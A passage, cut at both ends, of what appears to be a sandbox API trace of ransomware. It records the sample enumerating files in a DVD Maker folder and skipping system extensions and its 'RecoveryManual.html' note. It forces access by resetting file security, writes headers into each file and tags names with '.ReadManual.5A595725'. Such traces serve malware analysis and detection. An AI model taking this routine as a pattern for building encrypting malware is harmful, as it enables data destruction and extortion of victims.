lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3878) returned 1 [0252.311] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf26, lpName=0x0) returned 0x184 [0252.311] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.312] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.312] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.316] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.317] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf26) returned 0x2f0000 [0252.317] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.317] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37298576617) returned 1 [0252.317] CloseHandle (hObject=0x184) returned 1 [0252.317] SetSecurityInfo () returned 0x5 [0252.317] SetSecurityInfo () returned 0x5 [0252.317] LocalFree (hMem=0x674d38) returned 0x0 [0252.317] CloseHandle (hObject=0x194) returned 1 [0252.317] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0252.317] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Circle_SelectionSubpictureB.png" | out: lpString1="Circle_SelectionSubpictureB.png") returned="Circle_SelectionSubpictureB.png" [0252.317] lstrcmpiW (lpString1="Circle_SelectionSubpictureB.png", lpString2="RecoveryManual.html") returned -1 [0252.317] StrStrIW (lpFirst="Circle_SelectionSubpictureB.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.317] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.318] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.318] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.318] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.318] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.318] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.318] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" [0252.318] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.ReadManual.5A595725" [0252.318] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png.ReadManual.5A595725") returned 99 [0252.318] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37298674891) returned 1 [0252.318] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png")) returned 0x20 [0252.319] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.319] GetLastError () returned 0x5 [0252.319] GetNamedSecurityInfoW () returned 0x0 [0252.319] SetNamedSecurityInfoW () returned 0x0 [0252.320] SetNamedSecurityInfoW () returned 0x0 [0252.321] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.321] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3215) returned 1 [0252.321] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc8f, lpName=0x0) returned 0x184 [0252.321] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.322] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.322] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.334] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.335] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc8f) returned 0x2f0000 [0252.335] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.335] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37300352616) returned 1 [0252.335] CloseHandle (hObject=0x184) returned 1 [0252.335] SetSecurityInfo () returned 0x5 [0252.335] SetSecurityInfo () returned 0x5 [0252.335] LocalFree (hMem=0x674d38) returned 0x0 [0252.335] CloseHandle (hObject=0x194) returned 1 [0252.336] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0252.336] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Circle_VideoInset.png" | out: lpString1="Circle_VideoInset.png") returned="Circle_VideoInset.png" [0252.336] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="RecoveryManual.html") returned -1 [0252.336] StrStrIW (lpFirst="Circle_VideoInset.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.336] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.336] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.336] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.336] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.336] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.337] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.337] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.337] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" [0252.337] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.ReadManual.5A595725" [0252.337] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png.ReadManual.5A595725") returned 89 [0252.337] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37300546037) returned 1 [0252.337] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png")) returned 0x20 [0252.337] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.337] GetLastError () returned 0x5 [0252.337] GetNamedSecurityInfoW () returned 0x0 [0252.337] SetNamedSecurityInfoW () returned 0x0 [0252.338] SetNamedSecurityInfoW () returned 0x0 [0252.339] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.339] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5059) returned 1 [0252.339] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c3, lpName=0x0) returned 0x184 [0252.339] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0252.340] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.340] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.342] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.342] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13c3) returned 0x2f0000 [0252.342] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.342] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37301092032) returned 1 [0252.342] CloseHandle (hObject=0x184) returned 1 [0252.342] SetSecurityInfo () returned 0x5 [0252.342] SetSecurityInfo () returned 0x5 [0252.342] LocalFree (hMem=0x674d38) returned 0x0 [0252.342] CloseHandle (hObject=0x194) returned 1 [0252.343] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0252.343] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="cloud_Thumbnail.bmp" | out: lpString1="cloud_Thumbnail.bmp") returned="cloud_Thumbnail.bmp" [0252.343] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="RecoveryManual.html") returned -1 [0252.343] StrStrIW (lpFirst="cloud_Thumbnail.bmp", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.343] StrCmpIW (psz1="bmp", psz2="exe") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="dll") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="sys") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="msi") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="mui") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="inf") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="cat") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="bat") returned 1 [0252.343] StrCmpIW (psz1="bmp", psz2="cmd") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="ps1") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="vbs") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="ttf") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="fon") returned -1 [0252.343] StrCmpIW (psz1="bmp", psz2="lnk") returned -1 [0252.343] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" [0252.343] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.ReadManual.5A595725" [0252.343] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp.ReadManual.5A595725") returned 87 [0252.343] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37301190051) returned 1 [0252.343] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp")) returned 0x20 [0252.343] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.343] GetLastError () returned 0x5 [0252.344] GetNamedSecurityInfoW () returned 0x0 [0252.344] SetNamedSecurityInfoW () returned 0x0 [0252.344] SetNamedSecurityInfoW () returned 0x0 [0252.345] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\cloud_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\cloud_thumbnail.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.346] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5072) returned 1 [0252.346] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13d0, lpName=0x0) returned 0x184 [0252.346] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0252.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.346] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.348] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.348] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13d0) returned 0x2f0000 [0252.348] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.348] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37301718063) returned 1 [0252.348] CloseHandle (hObject=0x184) returned 1 [0252.349] SetSecurityInfo () returned 0x5 [0252.349] SetSecurityInfo () returned 0x5 [0252.349] LocalFree (hMem=0x674d38) returned 0x0 [0252.349] CloseHandle (hObject=0x194) returned 1 [0252.349] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0252.349] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="Dot.png" | out: lpString1="Dot.png") returned="Dot.png" [0252.349] lstrcmpiW (lpString1="Dot.png", lpString2="RecoveryManual.html") returned -1 [0252.349] StrStrIW (lpFirst="Dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.349] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.349] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.349] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.349] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.349] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.349] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.349] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" [0252.349] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.ReadManual.5A595725" [0252.349] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png.ReadManual.5A595725") returned 75 [0252.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37301822181) returned 1 [0252.350] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png")) returned 0x20 [0252.350] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.350] GetLastError () returned 0x5 [0252.350] GetNamedSecurityInfoW () returned 0x0 [0252.350] SetNamedSecurityInfoW () returned 0x0 [0252.351] SetNamedSecurityInfoW () returned 0x0 [0252.352] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0252.352] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23711) returned 1 [0252.352] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c9f, lpName=0x0) returned 0x184 [0252.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xa6) returned 1 [0252.353] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.353] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0252.355] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0252.355] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c9f) returned 0x2f0000 [0252.355] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37302398137) returned 1 [0252.355] CloseHandle (hObject=0x184) returned 1 [0252.355] SetSecurityInfo () returned 0x5 [0252.355] SetSecurityInfo () returned 0x5 [0252.355] LocalFree (hMem=0x674d38) returned 0x0 [0252.355] CloseHandle (hObject=0x194) returned 1 [0252.356] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0252.356] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="DvdTransform.fx" | out: lpString1="DvdTransform.fx") returned="DvdTransform.fx" [0252.356] lstrcmpiW (lpString1="DvdTransform.fx", lpString2="RecoveryManual.html") returned -1 [0252.356] StrStrIW (lpFirst="DvdTransform.fx", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.356] StrCmpIW (psz1="fx", psz2="exe") returned 1 [0252.356] StrCmpIW (psz1="fx", psz2="dll") returned 1 [0252.356] StrCmpIW (psz1="fx", psz2="sys") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="msi") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="mui") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="inf") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="cat") returned 1 [0252.356] StrCmpIW (psz1="fx", psz2="bat") returned 1 [0252.356] StrCmpIW (psz1="fx", psz2="cmd") returned 1 [0252.356] StrCmpIW (psz1="fx", psz2="ps1") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="vbs") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="ttf") returned -1 [0252.356] StrCmpIW (psz1="fx", psz2="fon") returned 1 [0252.356] StrCmpIW (psz1="fx", psz2="lnk") returned -1 [0252.356] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx" [0252.356] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.ReadManual.5A595725" [0252.356] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\DvdTransform.fx.ReadManual.5A595725") returned 83 [0252.356] QueryPerformanceCounter (in: 